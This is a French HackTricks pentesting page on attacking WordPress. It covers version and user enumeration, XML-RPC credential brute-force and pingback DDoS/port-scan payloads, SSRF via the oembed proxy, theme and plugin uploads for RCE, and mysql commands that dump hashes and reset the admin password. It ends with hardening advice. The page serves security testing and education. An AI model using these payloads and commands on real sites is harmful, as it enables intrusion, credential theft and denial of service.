Wordpress

Reading time: 16 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de base

  • Les fichiers téléchargés vont à : http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Les fichiers de thèmes peuvent être trouvés dans /wp-content/themes/, donc si vous modifiez un php du thème pour obtenir RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le thème twentytwelve, vous pouvez accéder au fichier 404.php dans : /wp-content/themes/twentytwelve/404.php

  • Une autre URL utile pourrait être : /wp-content/themes/default/404.php

  • Dans wp-config.php, vous pouvez trouver le mot de passe root de la base de données.

  • Chemins de connexion par défaut à vérifier : /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Fichiers principaux de WordPress

  • index.php
  • license.txt contient des informations utiles telles que la version de WordPress installée.
  • wp-activate.php est utilisé pour le processus d'activation par e-mail lors de la configuration d'un nouveau site WordPress.
  • Dossiers de connexion (peuvent être renommés pour se cacher) :
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php est un fichier qui représente une fonctionnalité de WordPress qui permet de transmettre des données avec HTTP agissant comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par l'API REST de WordPress.
  • Le dossier wp-content est le répertoire principal où les plugins et thèmes sont stockés.
  • wp-content/uploads/ est le répertoire où tous les fichiers téléchargés sur la plateforme sont stockés.
  • wp-includes/ est le répertoire où les fichiers principaux sont stockés, tels que les certificats, les polices, les fichiers JavaScript et les widgets.
  • wp-sitemap.xml Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les articles publics et les types d'articles et taxonomies consultables publiquement.

Post exploitation

  • Le fichier wp-config.php contient des informations requises par WordPress pour se connecter à la base de données, telles que le nom de la base de données, l'hôte de la base de données, le nom d'utilisateur et le mot de passe, les clés d'authentification et les sels, et le préfixe de la table de la base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage.

Permissions des utilisateurs

  • Administrateur
  • Éditeur : Publie et gère ses propres articles et ceux des autres
  • Auteur : Publie et gère ses propres articles
  • Contributeur : Écrit et gère ses articles mais ne peut pas les publier
  • Abonné : Parcourt les articles et édite son profil

Énumération passive

Obtenir la version de WordPress

Vérifiez si vous pouvez trouver les fichiers /license.txt ou /readme.html

À l'intérieur du code source de la page (exemple de https://wordpress.org/support/article/pages/) :

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Fichiers de lien CSS

  • Fichiers JavaScript

Obtenir des plugins

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Obtenir des thèmes

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extraire les versions en général

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Énumération active

Plugins et Thèmes

Vous ne pourrez probablement pas trouver tous les Plugins et Thèmes possibles. Pour les découvrir tous, vous devrez forcer activement une liste de Plugins et Thèmes (espérons pour nous qu'il existe des outils automatisés qui contiennent ces listes).

Utilisateurs

  • ID Brute : Vous obtenez des utilisateurs valides d'un site WordPress en forçant les IDs des utilisateurs :
bash
curl -s -I -X GET http://blog.example.com/?author=1

Si les réponses sont 200 ou 30X, cela signifie que l'id est valide. Si la réponse est 400, alors l'id est invalide.

  • wp-json : Vous pouvez également essayer d'obtenir des informations sur les utilisateurs en interrogeant :
bash
curl http://blog.example.com/wp-json/wp/v2/users

Un autre point de terminaison /wp-json/ qui peut révéler des informations sur les utilisateurs est :

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Notez que ce point de terminaison n'expose que les utilisateurs qui ont fait un post. Seules les informations sur les utilisateurs ayant cette fonctionnalité activée seront fournies.

Notez également que /wp-json/wp/v2/pages pourrait leak des adresses IP.

  • Énumération des noms d'utilisateur de connexion : Lors de la connexion à /wp-login.php, le message est différent selon que le nom d'utilisateur existe ou non.

XML-RPC

Si xml-rpc.php est actif, vous pouvez effectuer une attaque par force brute sur les identifiants ou l'utiliser pour lancer des attaques DoS sur d'autres ressources. (Vous pouvez automatiser ce processus en utilisant ceci par exemple).

Pour voir s'il est actif, essayez d'accéder à /xmlrpc.php et envoyez cette requête :

Vérifier

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Bruteforce des identifiants

wp.getUserBlogs, wp.getCategories ou metaWeblog.getUsersBlogs sont quelques-unes des méthodes qui peuvent être utilisées pour bruteforcer des identifiants. Si vous pouvez en trouver un, vous pouvez envoyer quelque chose comme :

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Le message "Nom d'utilisateur ou mot de passe incorrect" dans une réponse de code 200 devrait apparaître si les identifiants ne sont pas valides.

En utilisant les identifiants corrects, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Il existe également un moyen plus rapide de brute-forcer les identifiants en utilisant system.multicall car vous pouvez essayer plusieurs identifiants dans la même requête :

Contourner 2FA

Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne prend pas en charge 2FA. Donc, si vous avez des identifiants valides mais que l'entrée principale est protégée par 2FA, vous pourriez être en mesure d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant 2FA. Notez que vous ne pourrez pas effectuer toutes les actions que vous pouvez faire via la console, mais vous pourriez toujours être en mesure d'accéder à RCE comme l'explique Ippsec dans https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS ou scan de port

Si vous pouvez trouver la méthode pingback.ping dans la liste, vous pouvez faire en sorte que Wordpress envoie une requête arbitraire à n'importe quel hôte/port.
Cela peut être utilisé pour demander à des milliers de sites Wordpress d'accéder à un emplacement (ce qui provoque un DDoS à cet emplacement) ou vous pouvez l'utiliser pour faire en sorte que Wordpress scanne un réseau interne (vous pouvez indiquer n'importe quel port).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si vous obtenez faultCode avec une valeur supérieure à 0 (17), cela signifie que le port est ouvert.

Jetez un œil à l'utilisation de system.multicall dans la section précédente pour apprendre comment abuser de cette méthode pour provoquer un DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ce fichier existe généralement à la racine du site Wordpress : /wp-cron.php
Lorsque ce fichier est accédé, une requête MySQL "lourde" est effectuée, il pourrait donc être utilisé par des attaquants pour causer un DoS.
De plus, par défaut, le wp-cron.php est appelé à chaque chargement de page (chaque fois qu'un client demande une page Wordpress), ce qui, sur des sites à fort trafic, peut causer des problèmes (DoS).

Il est recommandé de désactiver Wp-Cron et de créer un véritable cronjob sur l'hôte qui effectue les actions nécessaires à intervalles réguliers (sans causer de problèmes).

/wp-json/oembed/1.0/proxy - SSRF

Essayez d'accéder à https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net et le site Worpress peut vous faire une requête.

Voici la réponse lorsque cela ne fonctionne pas :

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Cet outil vérifie si le methodName: pingback.ping et pour le chemin /wp-json/oembed/1.0/proxy existent, et s'ils existent, il essaie de les exploiter.

Outils Automatiques

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Accéder en écrasant un bit

Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man, vous pouviez inverser 1 bit de n'importe quel fichier wordpress. Ainsi, vous pouviez inverser la position 5389 du fichier /var/www/html/wp-includes/user.php pour NOP l'opération NOT (!).

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modifier un php du thème utilisé (identifiants administratifs nécessaires)

Apparence → Éditeur de thème → Modèle 404 (à droite)

Changez le contenu pour un shell php :

Recherchez sur internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici : http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Vous pouvez utiliser :

bash
use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

Il peut être possible de télécharger des fichiers .php en tant que plugin.
Créez votre backdoor php en utilisant par exemple :

Puis ajoutez un nouveau plugin :

Téléchargez le plugin et appuyez sur Installer maintenant :

Cliquez sur Procced :

Probablement, cela ne fera apparemment rien, mais si vous allez dans Médias, vous verrez votre shell téléchargé :

Accédez-y et vous verrez l'URL pour exécuter le reverse shell :

Uploading and activating malicious plugin

Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est réalisé via le tableau de bord WordPress comme suit :

  1. Acquisition du plugin : Le plugin est obtenu à partir d'une source comme Exploit DB comme ici.
  2. Installation du plugin :
  • Naviguez vers le tableau de bord WordPress, puis allez à Tableau de bord > Plugins > Télécharger le plugin.
  • Téléchargez le fichier zip du plugin téléchargé.
  1. Activation du plugin : Une fois le plugin installé avec succès, il doit être activé via le tableau de bord.
  2. Exploitation :
  • Avec le plugin "reflex-gallery" installé et activé, il peut être exploité car il est connu pour être vulnérable.
  • Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.
  • Il est noté que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress.

Le contenu comprend des aides visuelles décrivant les étapes dans le tableau de bord WordPress pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le pentesting avec une autorisation explicite.

Pour des étapes plus détaillées, consultez : https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike est un script conçu pour escalader une vulnérabilité Cross-Site Scripting (XSS) à Remote Code Execution (RCE) ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez ce post. Il fournit un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :
  • Escalade de privilèges : Crée un utilisateur dans WordPress.
  • (RCE) Téléchargement de plugin personnalisé (backdoor) : Téléchargez votre plugin personnalisé (backdoor) dans WordPress.
  • (RCE) Édition de plugin intégré : Éditez des plugins intégrés dans WordPress.
  • (RCE) Édition de thème intégré : Éditez des thèmes intégrés dans WordPress.
  • (Personnalisé) Exploits personnalisés : Exploits personnalisés pour des plugins/thèmes WordPress tiers.

Post Exploitation

Extraire les noms d'utilisateur et les mots de passe :

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Changer le mot de passe administrateur :

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Pentest des Plugins Wordpress

Surface d'Attaque

Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans son fonctionnement. Vous pouvez découvrir comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans cet article de blog.

  • wp_ajax

L'une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci pourraient contenir des bogues de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un nonce Wordpress que tout utilisateur authentifié dans l'instance Wordpress pourrait avoir (indépendamment de son rôle).

Ce sont les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin :

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

L'utilisation de nopriv rend le point de terminaison accessible à tous les utilisateurs (même ceux non authentifiés).

caution

De plus, si la fonction vérifie simplement l'autorisation de l'utilisateur avec la fonction wp_verify_nonce, cette fonction vérifie seulement si l'utilisateur est connecté, elle ne vérifie généralement pas le rôle de l'utilisateur. Ainsi, des utilisateurs à faible privilège pourraient avoir accès à des actions à haut privilège.

  • REST API

Il est également possible d'exposer des fonctions de WordPress en enregistrant une API REST à l'aide de la fonction register_rest_route :

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

Le permission_callback est un rappel à une fonction qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.

Si la fonction intégrée __return_true est utilisée, elle ignorera simplement la vérification des permissions de l'utilisateur.

  • Accès direct au fichier php

Bien sûr, WordPress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, dans le cas où un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.

Protection de WordPress

Mises à jour régulières

Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Confirmez également que la mise à jour automatique est activée dans wp-config.php :

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Aussi, n'installez que des plugins et thèmes WordPress fiables.

Plugins de sécurité

Autres recommandations

  • Supprimez l'utilisateur admin par défaut
  • Utilisez des mots de passe forts et 2FA
  • Révisez périodiquement les permissions des utilisateurs
  • Limitez les tentatives de connexion pour prévenir les attaques par force brute
  • Renommez le fichier wp-admin.php et n'autorisez l'accès qu'en interne ou depuis certaines adresses IP.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks